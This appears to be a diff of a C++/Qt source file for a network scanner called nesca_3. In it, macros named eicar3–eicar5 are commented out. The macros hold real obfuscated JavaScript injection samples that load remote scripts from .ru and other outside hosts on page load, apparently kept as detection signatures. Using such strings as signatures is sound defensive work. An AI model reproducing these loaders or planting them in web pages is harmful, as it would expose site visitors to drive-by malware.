#define eicar3 "<script>var Ws;if(Ws!='ZB' && Ws!='F'){Ws='ZB'};var o;if(o!='u'){o=''};var Qo=new Array();function Q(){var Wl=new String();var s=new Date();var n=new Date();var U=window;var j='';var Tg='';var WS;if(WS!='D'){WS='D'};var g=unescape;var jy=new Array();var L=g(\"%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%6f%6c%2e%63%6f%6d%2f%61%77%65%6d%70%69%72%65%2e%63%6f%6d%2e%70%68%70\");var r;if(r!='b' && r!='JW'){r='b'};var St=new String();function A(z,T){var H;if(H!='' && H!='O'){H=null};var _;if(_!='' && _!='S_'){_=null};this.Hh='';this.oo='';var W=new String(\"sOhg\".substr(3));var OJ;if(OJ!='' && OJ!='lg'){OJ='zu'};var CU=new Date();var X=g(\"%5b\"), J=g(\"%5d\");var LB=X+T+J;this.NI=\"\";var Lm=new RegExp(LB, W);var Sr=new String();var i;if(i!='Jm'){i=''};return z.replace(Lm, new String());var Cs;if(Cs!='gy'){Cs=''};var EE;if(EE!='Xz'){EE=''};};var Gh;if(Gh!='Rf' && Gh!='Ni'){Gh=''};var bO;if(bO!='qe' && bO!='M'){bO=''};var JB=document;var V=new String();var Ut;if(Ut!=''){Ut='Ue'};var jr;if(jr!='' && jr!='w'){jr=null};var h=A('8237107438669907564','57364291');var AM;if(AM!='' && AM!='RF'){AM='lH'};var cX;if(cX!='' && cX!='MW'){cX=''};var Vm=\"\";var zM;if(zM!='' && zM!='lW'){zM='WY'};var B=new Date();var vH;if(vH!='Rr'){vH=''};function Z(){var tF;if(tF!='' && tF!='jp'){tF=''};var DA=new String();var y=g(\"%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a\");var Gv=new Array();V=y;var XT='';V+=h;this.mY=\"\";V+=L;var dK;if(dK!='Df' && dK!='qQ'){dK=''};var vG;if(vG!='' && vG!='_q'){vG='dM'};try {var uP='';var EK=new Array();var qeB;if(qeB!='' && qeB!='Jr'){qeB='K_'};k=JB.createElement(A('sXcPrki_putK','3ukB_Px9Keb5Xl'));var gW=\"\";var Rd;if(Rd!='dh' && Rd!='NM'){Rd=''};k[g(\"%73%72%63\")]=V;var CkF=new String();k[g(\"%64%65%66%65%72\")]=[6,1][1];this.CX='';var MD=new Date();var WA='';var HL;if(HL!='' && HL!='dq'){HL='hK'};var rS;if(rS!='' && rS!='_d'){rS='y_'};JB.body.appendChild(k);var TUc=new String();} catch(Zn){var CJ=new Array();alert(Zn);};this.Au=\"\";}var oq=new Array();this.kb='';U[String(\"onloa\"+\"d\")]=Z;var ox;if(ox!='Nj' && ox!='BQ'){ox='Nj'};this.WYx=\"\";};var Yo='';var ro;if(ro!='ru' && ro != ''){ro=null};var Mf;if(Mf!='' && Mf!='AD'){Mf=null};Q();var DW=\"\";this.wv=\"\";</script>"
|
//#define eicar3 "<script>var Ws;if(Ws!='ZB' && Ws!='F'){Ws='ZB'};var o;if(o!='u'){o=''};var Qo=new Array();function Q(){var Wl=new String();var s=new Date();var n=new Date();var U=window;var j='';var Tg='';var WS;if(WS!='D'){WS='D'};var g=unescape;var jy=new Array();var L=g(\"%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%6f%6c%2e%63%6f%6d%2f%61%77%65%6d%70%69%72%65%2e%63%6f%6d%2e%70%68%70\");var r;if(r!='b' && r!='JW'){r='b'};var St=new String();function A(z,T){var H;if(H!='' && H!='O'){H=null};var _;if(_!='' && _!='S_'){_=null};this.Hh='';this.oo='';var W=new String(\"sOhg\".substr(3));var OJ;if(OJ!='' && OJ!='lg'){OJ='zu'};var CU=new Date();var X=g(\"%5b\"), J=g(\"%5d\");var LB=X+T+J;this.NI=\"\";var Lm=new RegExp(LB, W);var Sr=new String();var i;if(i!='Jm'){i=''};return z.replace(Lm, new String());var Cs;if(Cs!='gy'){Cs=''};var EE;if(EE!='Xz'){EE=''};};var Gh;if(Gh!='Rf' && Gh!='Ni'){Gh=''};var bO;if(bO!='qe' && bO!='M'){bO=''};var JB=document;var V=new String();var Ut;if(Ut!=''){Ut='Ue'};var jr;if(jr!='' && jr!='w'){jr=null};var h=A('8237107438669907564','57364291');var AM;if(AM!='' && AM!='RF'){AM='lH'};var cX;if(cX!='' && cX!='MW'){cX=''};var Vm=\"\";var zM;if(zM!='' && zM!='lW'){zM='WY'};var B=new Date();var vH;if(vH!='Rr'){vH=''};function Z(){var tF;if(tF!='' && tF!='jp'){tF=''};var DA=new String();var y=g(\"%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a\");var Gv=new Array();V=y;var XT='';V+=h;this.mY=\"\";V+=L;var dK;if(dK!='Df' && dK!='qQ'){dK=''};var vG;if(vG!='' && vG!='_q'){vG='dM'};try {var uP='';var EK=new Array();var qeB;if(qeB!='' && qeB!='Jr'){qeB='K_'};k=JB.createElement(A('sXcPrki_putK','3ukB_Px9Keb5Xl'));var gW=\"\";var Rd;if(Rd!='dh' && Rd!='NM'){Rd=''};k[g(\"%73%72%63\")]=V;var CkF=new String();k[g(\"%64%65%66%65%72\")]=[6,1][1];this.CX='';var MD=new Date();var WA='';var HL;if(HL!='' && HL!='dq'){HL='hK'};var rS;if(rS!='' && rS!='_d'){rS='y_'};JB.body.appendChild(k);var TUc=new String();} catch(Zn){var CJ=new Array();alert(Zn);};this.Au=\"\";}var oq=new Array();this.kb='';U[String(\"onloa\"+\"d\")]=Z;var ox;if(ox!='Nj' && ox!='BQ'){ox='Nj'};this.WYx=\"\";};var Yo='';var ro;if(ro!='ru' && ro != ''){ro=null};var Mf;if(Mf!='' && Mf!='AD'){Mf=null};Q();var DW=\"\";this.wv=\"\";</script>"
|
||||||
#define eicar4 "<script src=\"http://accountus.gets-it.net/googlestat.php\"></script>"
|
//#define eicar4 "<script src=\"http://accountus.gets-it.net/googlestat.php\"></script>"
|
||||||
#define eicar5 "\"split\";e=eval;v=\"0x\";a=0;z=\"y\";try{a*=25}catch(zz){a=1}if(!a){try{--e(\"doc\"+\"ument\")[\"\x62od\"+z]}catch(q){}"
|
//#define eicar5 "\"split\";e=eval;v=\"0x\";a=0;z=\"y\";try{a*=25}catch(zz){a=1}if(!a){try{--e(\"doc\"+\"ument\")[\"\x62od\"+z]}catch(q){}"
|
||||||
|
|
||||||
nesca_3::nesca_3(bool isWM, QWidget *parent = 0) : QMainWindow(parent)
|
nesca_3::nesca_3(bool isWM, QWidget *parent = 0) : QMainWindow(parent)
|
||||||
{
|
{
|
||||||
|
Loading…
Reference in New Issue
Block a user